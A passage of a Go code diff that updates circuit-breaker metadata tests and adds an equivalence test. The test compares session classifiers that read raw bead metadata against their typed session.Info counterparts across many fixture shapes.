 	cb.RecordRestart(id, t0)
 
-	if err := persistSessionCircuitBreakerMetadata(sessionFrontDoor(store), &session, cb, id, t0); err != nil {
+	if err := persistSessionCircuitBreakerMetadata(sessionFrontDoor(store), session.ID, cb, id, t0); err != nil {
 		t.Fatalf("first persist: %v", err)
 	}
 	if store.writes != 1 {
 		t.Fatalf("metadata writes = %d, want 1", store.writes)
 	}
-	if err := persistSessionCircuitBreakerMetadata(sessionFrontDoor(store), &session, cb, id, t0); err != nil {
+	if err := persistSessionCircuitBreakerMetadata(sessionFrontDoor(store), session.ID, cb, id, t0); err != nil {
 		t.Fatalf("second persist: %v", err)
 	}
 	if store.writes != 1 {
@@ -606,7 +606,7 @@ func TestPersistSessionCircuitBreakerMetadataSkipsUnchangedSnapshot(t *testing.T
 	}
 
 	cb.RecordRestart(id, t0.Add(time.Minute))
-	if err := persistSessionCircuitBreakerMetadata(sessionFrontDoor(store), &session, cb, id, t0.Add(time.Minute)); err != nil {
+	if err := persistSessionCircuitBreakerMetadata(sessionFrontDoor(store), session.ID, cb, id, t0.Add(time.Minute)); err != nil {
 		t.Fatalf("changed persist: %v", err)
 	}
 	if store.writes != 2 {
@@ -624,10 +624,10 @@ func TestSessionCircuitMetadataHelpersIncludeResetGeneration(t *testing.T) {
 	next := emptySessionCircuitMetadata()
 	existing[sessionCircuitResetGenerationMetadata] = "1"
 	next[sessionCircuitResetGenerationMetadata] = "2"
-	if sessionCircuitMetadataEqual(existing, next) {
-		t.Fatalf("metadata equality ignored %s", sessionCircuitResetGenerationMetadata)
+	if sessionpkg.CircuitStateFromMetadata(existing) == sessionpkg.CircuitStateFromMetadata(next) {
+		t.Fatalf("circuit state equality ignored %s", sessionCircuitResetGenerationMetadata)
 	}
-	if hasSessionCircuitMetadata(next) {
+	if hasSessionCircuitMetadata(sessionpkg.CircuitStateFromMetadata(next)) {
 		t.Fatalf("generation-only metadata should not restore a breaker entry")
 	}
 }
@@ -648,20 +648,20 @@ func TestPersistSessionCircuitBreakerMetadataWritesAutoResetClosedState(t *testi
 	}
 	cb := breakerAt(30*time.Minute, 5)
 	const id = "rig-a/session-a"
-	reset, err := cb.restoreFromMetadata(id, map[string]string{
+	reset, err := cb.restoreFromMetadata(id, sessionpkg.CircuitStateFromMetadata(map[string]string{
 		sessionCircuitStateMetadata:            circuitOpen.String(),
 		sessionCircuitRestartsMetadata:         `["2026-04-01T12:00:00Z"]`,
 		sessionCircuitLastRestartMetadata:      t0.Format(time.RFC3339Nano),
 		sessionCircuitOpenedAtMetadata:         t0.Format(time.RFC3339Nano),
 		sessionCircuitOpenRestartCountMetadata: "6",
-	}, t0.Add(2*time.Hour))
+	}), t0.Add(2*time.Hour))
 	if err != nil {
 		t.Fatalf("restoreFromMetadata: %v", err)
 	}
 	if !reset {
 		t.Fatal("restoreFromMetadata reset = false, want true")
 	}
-	if err := persistSessionCircuitBreakerMetadata(sessionFrontDoor(store), &session, cb, id, t0.Add(2*time.Hour)); err != nil {
+	if err := persistSessionCircuitBreakerMetadata(sessionFrontDoor(store), session.ID, cb, id, t0.Add(2*time.Hour)); err != nil {
 		t.Fatalf("persist: %v", err)
 	}
 	updated, err := store.Get(session.ID)
diff --git a/cmd/gc/session_classifier_info_equiv_test.go b/cmd/gc/session_classifier_info_equiv_test.go
new file mode 100644
index 0000000000..7643743ed7
--- /dev/null
+++ b/cmd/gc/session_classifier_info_equiv_test.go
@@ -0,0 +1,1106 @@
+package main
+
+import (
+	"reflect"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/clock"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/session"
+)
+
+// TestSessionClassifierInfoEquivalence is the byte-identical oracle for P2 of
+// NONWORK-BEAD-FIELDDOOR-PLAN.md. Each converted classifier has a *Info sibling
+// that reads typed session.Info fields instead of raw bead metadata. For every
+// representative session-bead shape, the Info form (fed
+// session.InfoFromPersistedBead(b)) must agree with the original bead form.
+//
+// This proves the Info projection plus the predicate mirror are semantically
+// identical to the existing metadata reads, so later caller migration (P4) is
+// safe. Any divergence here is a real fidelity bug in the codec or a mirror.
+func TestSessionClassifierInfoEquivalence(t *testing.T) {
+	pastRFC3339 := time.Now().Add(-72 * time.Hour).UTC().Format(time.RFC3339)
+	futureRFC3339 := time.Now().Add(72 * time.Hour).UTC().Format(time.RFC3339)
+	clk := &clock.Fake{Time: time.Now()}
+
+	beadsByShape := map[string]beads.Bead{
+		"bare": {
+			ID:     "ga-bare",
+			Type:   session.BeadType,
+			Title:  "bare",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template": "worker",
+			},
+		},
+		// drain-ack stop-pending: state=draining + state_reason=drain-ack-stop-pending
+		// exercises the true branch of isDrainAckStopPending / isDrainAckStopPendingInfo.
+		"drain-ack-stop-pending": {
+			ID:     "ga-drainack",
+			Type:   session.BeadType,
+			Title:  "worker",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"state":        string(session.StateDraining),
+				"state_reason": session.DrainAckStopPendingReason,
+				"session_name": "worker-drainack",
+			},
+		},
+		"pool-managed-slot": {
+			ID:     "ga-pool",
+			Type:   session.BeadType,
+			Title:  "worker",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "frontend/worker",
+				"agent_name":   "frontend/worker-1",
+				"pool_managed": "true",
+				"pool_slot":    "1",
+				"state":        "awake",
+				"session_name": "worker-ga-pool",
+			},
+		},
+		"pool-managed-flag-only": {
+			ID:     "ga-poolflag",
+			Type:   session.BeadType,
+			Title:  "worker",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"pool_managed": "true",
+				"state":        "active",
+			},
+		},
+		"ephemeral-origin": {
+			ID:     "ga-eph",
+			Type:   session.BeadType,
+			Title:  "eph",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":       "worker",
+				"session_origin": "ephemeral",
+			},
+		},
+		"ephemeral-via-pool-slot-name": {
+			ID:     "ga-ephname",
+			Type:   session.BeadType,
+			Title:  "worker",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"session_name": "worker-3",
+			},
+		},
+		"named": {
+			ID:     "ga-named",
+			Type:   session.BeadType,
+			Title:  "mayor",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                  "mayor",
+				"configured_named_session":  "true",
+				"configured_named_identity": "mayor",
+				"configured_named_mode":     "singleton",
+				"common_name":               "mayor",
+				"alias":                     "mayor",
+				"session_name":              "mayor",
+				"session_name_explicit":     "true",
+				"alias_history":             "mayor,boss",
+			},
+		},
+		"manual": {
+			ID:     "ga-manual",
+			Type:   session.BeadType,
+			Title:  "manual",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":       "worker",
+				"manual_session": "true",
+			},
+		},
+		"manual-padded-true": {
+			// Edge: isManualSessionBead compares manual_session WITHOUT trimming,
+			// so a padded "true" must read as NOT manual on both forms.
+			ID:     "ga-manualpad",
+			Type:   session.BeadType,
+			Title:  "manual",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":       "worker",
+				"manual_session": "  true  ",
+			},
+		},
+		"manual-origin": {
+			ID:     "ga-manualorigin",
+			Type:   session.BeadType,
+			Title:  "manual",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":       "worker",
+				"session_origin": "manual",
+			},
+		},
+		"drained-state": {
+			ID:     "ga-drained",
+			Type:   session.BeadType,
+			Title:  "drained",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":  "worker",
+				"state":     "drained",
+				"pool_slot": "2",
+			},
+		},
+		"drained-via-asleep": {
+			ID:     "ga-drainasleep",
+			Type:   session.BeadType,
+			Title:  "drained",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"state":        "asleep",
+				"sleep_reason": "drained",
+				"pool_slot":    "2",
+			},
+		},
+		"asleep-idle-freeable": {
+			ID:     "ga-idle",
+			Type:   session.BeadType,
+			Title:  "idle",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"state":        "asleep",
+				"sleep_reason": "idle",
+				"pool_slot":    "2",
+			},
+		},
+		"asleep-wait-hold-not-freeable": {
+			ID:     "ga-wait",
+			Type:   session.BeadType,
+			Title:  "wait",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"state":        "asleep",
+				"sleep_reason": "wait-hold",
+				"pool_slot":    "2",
+			},
+		},
+		"failed-create": {
+			ID:     "ga-failed",
+			Type:   session.BeadType,
+			Title:  "failed",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"state":        string(session.StateFailedCreate),
+				"pool_managed": "true",
+			},
+		},
+		"pending-pool-create": {
+			ID:     "ga-pending",
+			Type:   session.BeadType,
+			Title:  "pending",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":             "worker",
+				"pool_managed":         "true",
+				"pool_slot":            "1",
+				"state":                string(session.StateStartPending),
+				"pending_create_claim": "true",
+			},
+		},
+		"pending-create-claim-old-markers": {
+			// Exercises the lease family's non-empty last_woke_at + past
+			// pending_create_started_at branches (attempt-stale / lease-active)
+			// with the fidelity fields LastWokeAt / PendingCreateStartedAt.
+			ID:        "ga-leasestale",
+			Type:      session.BeadType,
+			Title:     "leasestale",
+			Labels:    []string{session.LabelSession},
+			CreatedAt: time.Now().Add(-90 * time.Minute),
+			Metadata: map[string]string{
+				"template":                  "worker",
+				"state":                     string(session.StateStartPending),
+				"pending_create_claim":      "true",
+				"pending_create_started_at": pastRFC3339,
+				"last_woke_at":              pastRFC3339,
+			},
+		},
+		"post-create-protected": {
+			// Exercises the StateReason / CreationCompleteAt fidelity fields via
+			// the sweep's post-create protection window (state_reason=creation_complete).
+			ID:     "ga-postcreate",
+			Type:   session.BeadType,
+			Title:  "postcreate",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":             "worker",
+				"state":                "active",
+				"state_reason":         "creation_complete",
+				"creation_complete_at": futureRFC3339,
+				"pool_managed":         "true",
+				"pool_slot":            "1",
+			},
+		},
+		"stale-creating-old-marker": {
+			ID:        "ga-stale",
+			Type:      session.BeadType,
+			Title:     "stale",
+			Labels:    []string{session.LabelSession},
+			CreatedAt: time.Now().Add(-90 * time.Minute),
+			Metadata: map[string]string{
+				"template":                  "worker",
+				"state":                     string(session.StateStartPending),
+				"pending_create_started_at": pastRFC3339,
+			},
+		},
+		"fresh-creating": {
+			ID:        "ga-fresh",
+			Type:      session.BeadType,
+			Title:     "fresh",
+			Labels:    []string{session.LabelSession},
+			CreatedAt: time.Now(),
+			Metadata: map[string]string{
+				"template":                  "worker",
+				"state":                     string(session.StateStartPending),
+				"pending_create_started_at": futureRFC3339,
+			},
+		},
+		"quarantined-active": {
+			ID:     "ga-quar",
+			Type:   session.BeadType,
+			Title:  "quar",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":          "worker",
+				"state":             "quarantined",
+				"quarantined_until": futureRFC3339,
+				"wake_attempts":     "3",
+			},
+		},
+		"quarantine-expired": {
+			ID:     "ga-quarexp",
+			Type:   session.BeadType,
+			Title:  "quar",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":          "worker",
+				"quarantined_until": pastRFC3339,
+				"wake_attempts":     "1",
+			},
+		},
+		"agent-label-fallback": {
+			ID:     "ga-label",
+			Type:   session.BeadType,
+			Title:  "labeled",
+			Labels: []string{session.LabelSession, "agent:scout"},
+			Metadata: map[string]string{
+				"template": "scout",
+			},
+		},
+		"dependency-only": {
+			ID:     "ga-dep",
+			Type:   session.BeadType,
+			Title:  "dep",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":        "worker",
+				"dependency_only": "true",
+			},
+		},
+		"unknown-state": {
+			ID:     "ga-unknown",
+			Type:   session.BeadType,
+			Title:  "unknown",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template": "worker",
+				"state":    "some-future-state",
+			},
+		},
+		"closed": {
+			ID:     "ga-closed",
+			Type:   session.BeadType,
+			Title:  "closed",
+			Status: "closed",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"state":        string(session.StateFailedCreate),
+				"pool_managed": "true",
+				"pool_slot":    "1",
+			},
+		},
+		"no-session-name-pool": {
+			// Exercises the SessionNameMetadata-vs-SessionName divergence: the
+			// raw session_name is empty, so beadOwnsPoolSessionName /
+			// sessionBeadAssigneeIdentities must NOT see the sessionNameFor(ID)
+			// fallback that Info.SessionName applies.
+			ID:     "ga-noname",
+			Type:   session.BeadType,
+			Title:  "noname",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":  "worker",
+				"pool_slot": "1",
+			},
+		},
+		"owns-pool-session-name": {
+			ID:     "ga-owns",
+			Type:   session.BeadType,
+			Title:  "owns",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"session_name": PoolSessionName("worker", "ga-owns"),
+				"pool_slot":    "1",
+			},
+		},
+		"acp-transport": {
+			ID:     "ga-acptransport",
+			Type:   session.BeadType,
+			Title:  "acp",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":  "worker",
+				"transport": "acp",
+			},
+		},
+		"acp-provider": {
+			ID:     "ga-acpprovider",
+			Type:   session.BeadType,
+			Title:  "acp",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template": "worker",
+				"provider": "acp",
+			},
+		},
+		"acp-mcp-identity": {
+			ID:     "ga-acpmcpid",
+			Type:   session.BeadType,
+			Title:  "acp",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                     "worker",
+				session.MCPIdentityMetadataKey: "mayor",
+			},
+		},
+		"acp-mcp-snapshot": {
+			ID:     "ga-acpmcpsnap",
+			Type:   session.BeadType,
+			Title:  "acp",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                            "worker",
+				session.MCPServersSnapshotMetadataKey: "{}",
+			},
+		},
+		"non-acp-transport": {
+			ID:     "ga-nonacp",
+			Type:   session.BeadType,
+			Title:  "tmux",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":  "worker",
+				"transport": "tmux",
+			},
+		},
+		"provider-terminal-error": {
+			ID:     "ga-provterm",
+			Type:   session.BeadType,
+			Title:  "term",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                "worker",
+				"provider_terminal_error": "boom",
+			},
+		},
+		"unhealthy-drainable-reasoned": {
+			ID:     "ga-unhealthy",
+			Type:   session.BeadType,
+			Title:  "unhealthy",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":              "worker",
+				"session_health":        "unhealthy",
+				"session_drainable":     "true",
+				"session_health_reason": "stuck",
+			},
+		},
+		"unhealthy-not-drainable": {
+			ID:     "ga-unhealthynd",
+			Type:   session.BeadType,
+			Title:  "unhealthy",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":              "worker",
+				"session_health":        "unhealthy",
+				"session_health_reason": "stuck",
+			},
+		},
+		"creating-consumes-demand": {
+			ID:     "ga-creating",
+			Type:   session.BeadType,
+			Title:  "creating",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template": "worker",
+				"state":    "creating",
+			},
+		},
+		"trigger-brain-marked": {
+			ID:     "ga-trigger",
+			Type:   session.BeadType,
+			Title:  "trigger",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                              "worker",
+				"pool_managed":                          "true",
+				"pool_slot":                             "1",
+				"state":                                 "creating",
+				beadmeta.TriggerBeadIDMetadataKey:       "tb-1",
+				beadmeta.TriggerBeadStoreRefMetadataKey: "riga",
+				beadmeta.BrainParentSIDMetadataKey:      "brain-1",
+			},
+		},
+		"reset-pending-committed": {
+			// continuation_reset_pending=true + a valid reset_committed_at:
+			// resetPendingCommittedAt returns the raw ts + parsed time + true.
+			ID:     "ga-resetpending",
+			Type:   session.BeadType,
+			Title:  "resetpending",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                   "worker",
+				"continuation_reset_pending": "true",
+				session.ResetCommittedAtKey:  pastRFC3339,
+			},
+		},
+		"reset-pending-no-committed": {
+			// pending but no reset_committed_at → not pending (empty-raw branch).
+			ID:     "ga-resetnocommit",
+			Type:   session.BeadType,
+			Title:  "resetnocommit",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                   "worker",
+				"continuation_reset_pending": "true",
+			},
+		},
+		"reset-pending-invalid-committed": {
+			// pending but reset_committed_at is not RFC3339 → parse-error branch.
+			ID:     "ga-resetbad",
+			Type:   session.BeadType,
+			Title:  "resetbad",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                   "worker",
+				"continuation_reset_pending": "true",
+				session.ResetCommittedAtKey:  "not-a-timestamp",
+			},
+		},
+		"reset-not-pending": {
+			// reset_committed_at set but pending!=true → short-circuit false.
+			ID:     "ga-resetnotpending",
+			Type:   session.BeadType,
+			Title:  "resetnotpending",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                  "worker",
+				session.ResetCommittedAtKey: pastRFC3339,
+			},
+		},
+		"generation-padded": {
+			// generation is read BOTH as strconv.Atoi (numeric drain-staleness
+			// compare) and strings.TrimSpace (string ack compare). The
+			// whitespace-padded value proves Info.Generation preserves the raw
+			// bytes the TrimSpace path depends on — an int mirror could not.
+			ID:     "ga-gen",
+			Type:   session.BeadType,
+			Title:  "gen",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":   "worker",
+				"generation": " 3 ",
+			},
+		},
+		"pending-resume-preserve": {
+			// Hits the pendingResumePreservingNamedRestart TRUE branch: creating
+			// state + pending_create_claim + session_key + started_config_hash +
+			// a recent pending_create_started_at (so the lease is start-in-flight,
+			// not expired). Makes the clkBoolChecks equivalence case a real
+			// true-branch comparison, not a trivial both-false pass, and exercises
+			// the new Info.StartedConfigHash gate.
+			ID:     "ga-resumepreserve",
+			Type:   session.BeadType,
+			Title:  "resumepreserve",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                  "worker",
+				"state":                     "creating",
+				"pending_create_claim":      "true",
+				"session_key":               "sess-key-123",
+				"started_config_hash":       "cfghash-abc",
+				"pending_create_started_at": clk.Now().UTC().Format(time.RFC3339),
+			},
+		},
+		"config-hash-and-pin": {
+			// started_config_hash is read BOTH as a direct string compare (stored
+			// hash vs recomputed Core fingerprint) and via strings.TrimSpace (the
+			// firstStart emptiness gate). The whitespace-padded value proves
+			// Info.StartedConfigHash preserves the raw bytes the TrimSpace path
+			// depends on. pin_awake is read as an exact != "true" compare.
+			ID:     "ga-cfghash",
+			Type:   session.BeadType,
+			Title:  "cfghash",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":            "worker",
+				"started_config_hash": " abc123 ",
+				"pin_awake":           "true",
+			},
+		},
+		// --- reconciler decision-read cluster fixtures (front-door Phase 5) ---
+		"hold-and-quarantine": {
+			// held_until suppresses all wake reasons; the reconcile path also reads
+			// quarantined_until alongside it. Parity fixture for the hold/quarantine
+			// suppression branch.
+			ID:     "ga-hold",
+			Type:   session.BeadType,
+			Title:  "hold",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":          "worker",
+				"held_until":        futureRFC3339,
+				"quarantined_until": futureRFC3339,
+				"wake_attempts":     "2",
+			},
+		},
+		"wait-hold-flag": {
+			// wait_hold=="true" is the raw metadata compute_awake_bridge maps onto
+			// LifecycleInput.WaitHold; distinct from sleep_reason=="wait-hold".
+			ID:     "ga-waithold",
+			Type:   session.BeadType,
+			Title:  "waithold",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":     "worker",
+				"state":        "asleep",
+				"sleep_reason": "wait-hold",
+				"wait_hold":    "true",
+			},
+		},
+		"churn-spiraling": {
+			// churn_count read via strconv.Atoi (which does NOT trim): the padded
+			// value proves Info.ChurnCount preserves the raw bytes verbatim.
+			ID:     "ga-churn",
+			Type:   session.BeadType,
+			Title:  "churn",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":    "worker",
+				"churn_count": " 5 ",
+			},
+		},
+		"churn-cleared-zero": {
+			// Exercises the churn_count == "0" clear branch explicitly.
+			ID:     "ga-churnzero",
+			Type:   session.BeadType,
+			Title:  "churnzero",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":    "worker",
+				"churn_count": "0",
+			},
+		},
+		"wake-mode-and-intents": {
+			// wake_mode=="fresh" (fresh-wake / drain finalize), sleep_intent branch,
+			// instance_token wake match, detached_at detach gate (RFC3339), and
+			// currently_processing_bead_id (LifecycleInput) in one shape.
+			ID:     "ga-wakemode",
+			Type:   session.BeadType,
+			Title:  "wakemode",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":               "worker",
+				"wake_mode":              "fresh",
+				"wake_request":           "explicit",
+				"restart_requested":      "true",
+				"sleep_intent":           "idle-stop-pending",
+				"instance_token":         "tok-xyz",
+				"detached_at":            pastRFC3339,
+				session.CurrentBeadIDKey: "ga-work-1",
+				// Step 6a codec-gap mirrors. wake_attempts="0" is the raw/int edge:
+				// WakeAttemptsMetadata must keep "0" verbatim while WakeAttempts parses 0
+				// (the distinction clearWakeFailures's != "" && != "0" gate needs).
+				"session_id_flag":    "--session-id",
+				"template_overrides": `{"model":"opus"}`,
+				"wake_attempts":      "0",
+			},
+		},
+		"config-drift-full": {
+			// The config-drift sub-hash decision keys (core_hash_breakdown JSON,
+			// provision/launch/live fingerprints — launch padded to prove raw
+			// fidelity) plus the named + attached deferral timers and the stranded
+			// idempotency marker, all in one shape.
+			ID:     "ga-drift",
+			Type:   session.BeadType,
+			Title:  "drift",
+			Labels: []string{session.LabelSession},
+			Metadata: map[string]string{
+				"template":                           "worker",
+				"core_hash_breakdown":                `{"command":"x","env":"y"}`,
+				"started_provision_hash":             "prov-1",
+				"started_launch_hash":                " launch-1 ",
+				"started_live_hash":                  "live-1",
+				"config_drift_deferred_at":           pastRFC3339,
+				"config_drift_deferred_key":          "h1:h2",
+				"attached_config_drift_deferred_at":  pastRFC3339,
+				"attached_config_drift_deferred_key": "h3:h4",
+				"stranded_event_emitted_at":          pastRFC3339,
+			},
+		},
+	}
+
+	const tmpl = "worker"
+
+	boolChecks := map[string]struct {
+		bead func(beads.Bead) bool
+		info func(session.Info) bool
+	}{
+		"isPoolManagedSessionBead":            {isPoolManagedSessionBead, isPoolManagedSessionInfo},
+		"isEphemeralSessionBead":              {isEphemeralSessionBead, isEphemeralSessionInfo},
+		"isManualSessionBead":                 {isManualSessionBead, isManualSessionInfo},
+		"isNamedSessionBead":                  {isNamedSessionBead, isNamedSessionInfo},
+		"isDrainedSessionBead":                {isDrainedSessionBead, isDrainedSessionInfo},
+		"isFailedCreateSessionBead":           {isFailedCreateSessionBead, isFailedCreateSessionInfo},
+		"shouldRollbackPendingCreate":         {func(b beads.Bead) bool { return shouldRollbackPendingCreate(&b) }, shouldRollbackPendingCreateInfo},
+		"isPendingPoolCreate":                 {isPendingPoolCreate, isPendingPoolCreateInfo},
+		"isStaleCreating":                     {isStaleCreating, isStaleCreatingInfo},
+		"isKnownState":                        {isKnownState, isKnownStateInfo},
+		"isPoolSessionSlotFreeable":           {isPoolSessionSlotFreeable, isPoolSessionSlotFreeableInfo},
+		"beadOwnsPoolSessionName":             {beadOwnsPoolSessionName, infoOwnsPoolSessionName},
+		"sessionHasProviderTerminalError":     {sessionHasProviderTerminalError, sessionHasProviderTerminalErrorInfo},
+		"poolSessionConsumesNewDemand":        {poolSessionConsumesNewDemand, poolSessionConsumesNewDemandInfo},
+		"scaleCheckPartialSessionRetainable":  {scaleCheckPartialSessionRetainable, scaleCheckPartialSessionRetainableInfo},
+		"scaleCheckPartialSessionPreservable": {scaleCheckPartialSessionPreservable, scaleCheckPartialSessionPreservableInfo},
+		"isDrainAckStopPending":               {isDrainAckStopPending, isDrainAckStopPendingInfo},
+	}
+
+	// Agent-dependent classifiers. A bare pool agent (no instance-expansion, no
+	// canonical-singleton identity) exercises existingPoolSlot's slot parsing and
+	// isEphemeralSessionBeadForAgent's ephemeral-first branch.
+	agentFixture := &config.Agent{Name: "worker"}
+	agentBoolChecks := map[string]struct {
+		bead func(beads.Bead) bool
+		info func(session.Info) bool
+	}{
+		"isEphemeralSessionBeadForAgent": {
+			func(b beads.Bead) bool { return isEphemeralSessionBeadForAgent(b, agentFixture) },
+			func(i session.Info) bool { return isEphemeralSessionInfoForAgent(i, agentFixture) },
+		},
+		"isLegacyManualSessionBeadForAgent": {
+			func(b beads.Bead) bool { return isLegacyManualSessionBeadForAgent(b, agentFixture) },
+			func(i session.Info) bool { return isLegacyManualSessionInfoForAgent(i, agentFixture) },
+		},
+		"isManualSessionBeadForAgent": {
+			func(b beads.Bead) bool { return isManualSessionBeadForAgent(b, agentFixture) },
+			func(i session.Info) bool { return isManualSessionInfoForAgent(i, agentFixture) },
+		},
+		// A non-canonical-singleton agent exercises the identical
+		// UsesCanonicalSingletonPoolIdentity() short-circuit (both forms → false)
+		// on every shape.
+		"staleNonExpandingPoolSessionBead": {
+			func(b beads.Bead) bool { return staleNonExpandingPoolSessionBead(agentFixture, b) },
+			func(i session.Info) bool { return staleNonExpandingPoolSessionBeadInfo(agentFixture, i) },
+		},
+	}
+
+	// singletonAgent is a canonical-singleton pool agent (max=1, no namepool);
+	// UsesCanonicalSingletonPoolIdentity() returns true for it, so it drives the
+	// non-short-circuit branches of staleNonExpandingPoolSessionBead: the
+	// agent_name/label/alias/title identity-slot matches, the pool_slot fallback,
+	// and the manual-session exclusion.
+	singletonAgent := &config.Agent{Name: "worker", MaxActiveSessions: intPtr(1)}
+	singletonAgentBoolChecks := map[string]struct {
+		bead func(beads.Bead) bool
+		info func(session.Info) bool
+	}{
+		"staleNonExpandingPoolSessionBead[singleton]": {
+			func(b beads.Bead) bool { return staleNonExpandingPoolSessionBead(singletonAgent, b) },
+			func(i session.Info) bool { return staleNonExpandingPoolSessionBeadInfo(singletonAgent, i) },
+		},
+	}
+	agentIntChecks := map[string]struct {
+		bead func(beads.Bead) int
+		info func(session.Info) int
+	}{
+		"existingPoolSlot": {
+			func(b beads.Bead) int { return existingPoolSlot(agentFixture, b) },
+			func(i session.Info) int { return existingPoolSlotInfo(agentFixture, i) },
+		},
+	}
+
+	stringChecks := map[string]struct {
+		bead func(beads.Bead) string
+		info func(session.Info) string
+	}{
+		"sessionOrigin":                {sessionOrigin, sessionOriginInfo},
+		"sessionMetadataState":         {sessionMetadataState, sessionMetadataStateInfo},
+		"sessionBeadStoredTemplate":    {sessionBeadStoredTemplate, sessionBeadStoredTemplateInfo},
+		"sessionBeadAgentName":         {sessionBeadAgentName, sessionBeadAgentNameInfo},
+		"namedSessionIdentity":         {namedSessionIdentity, namedSessionIdentityInfo},
+		"stampedPoolQualifiedIdentity": {stampedPoolQualifiedIdentity, stampedPoolQualifiedIdentityInfo},
+		// generation has no named classifier — it is read inline via Atoi/TrimSpace
+		// in the drain/wake path — so this pins the raw codec mirror directly.
+		"sessionGeneration": {
+			func(b beads.Bead) string { return b.Metadata["generation"] },
+			func(i session.Info) string { return i.Generation },
+		},
+		// started_config_hash / pin_awake have no named classifier — the reconciler
+		// reads them inline (string compare / TrimSpace / != "true") in the desired
+		// path's config-drift and wake branches — so these pin the raw codec mirrors
+		// directly, the same way sessionGeneration does.
+		"sessionStartedConfigHash": {
+			func(b beads.Bead) string { return b.Metadata["started_config_hash"] },
+			func(i session.Info) string { return i.StartedConfigHash },
+		},
+		"sessionPinAwake": {
+			func(b beads.Bead) string { return b.Metadata["pin_awake"] },
+			func(i session.Info) string { return i.PinAwake },
+		},
+		// Reconciler decision-read mirrors (front-door Phase 5). These have no
+		// named classifier — the reconciler reads them inline — so each pins the
+		// raw codec mirror directly. The symbolic-key cases feed the cmd/gc
+		// constant, guarding the info_store.go literal against constant drift.
+		"sessionHeldUntil": {
+			func(b beads.Bead) string { return b.Metadata["held_until"] },
+			func(i session.Info) string { return i.HeldUntil },
+		},
+		// lifecycleTimerBlocker feeds the max-age / idle-timeout blocker fact in
+		// the reconciler forward pass; its Info sibling reads Info.HeldUntil /
+		// Info.QuarantinedUntil (clk captured for the metadataTimeInFuture rule).
+		"lifecycleTimerBlocker": {
+			func(b beads.Bead) string { return lifecycleTimerBlocker(b.Metadata, clk.Now()) },
+			func(i session.Info) string { return lifecycleTimerBlockerInfo(i, clk.Now()) },
+		},
+		"sessionWaitHold": {
+			func(b beads.Bead) string { return b.Metadata["wait_hold"] },
+			func(i session.Info) string { return i.WaitHold },
+		},
+		"sessionChurnCount": {
+			func(b beads.Bead) string { return b.Metadata["churn_count"] },
+			func(i session.Info) string { return i.ChurnCount },
+		},
+		"sessionWakeMode": {
+			func(b beads.Bead) string { return b.Metadata["wake_mode"] },
+			func(i session.Info) string { return i.WakeMode },
+		},
+		"sessionSleepIntent": {
+			func(b beads.Bead) string { return b.Metadata["sleep_intent"] },
+			func(i session.Info) string { return i.SleepIntent },
+		},
+		"sessionInstanceToken": {
+			func(b beads.Bead) string { return b.Metadata["instance_token"] },
+			func(i session.Info) string { return i.InstanceToken },
+		},
+		"sessionDetachedAt": {
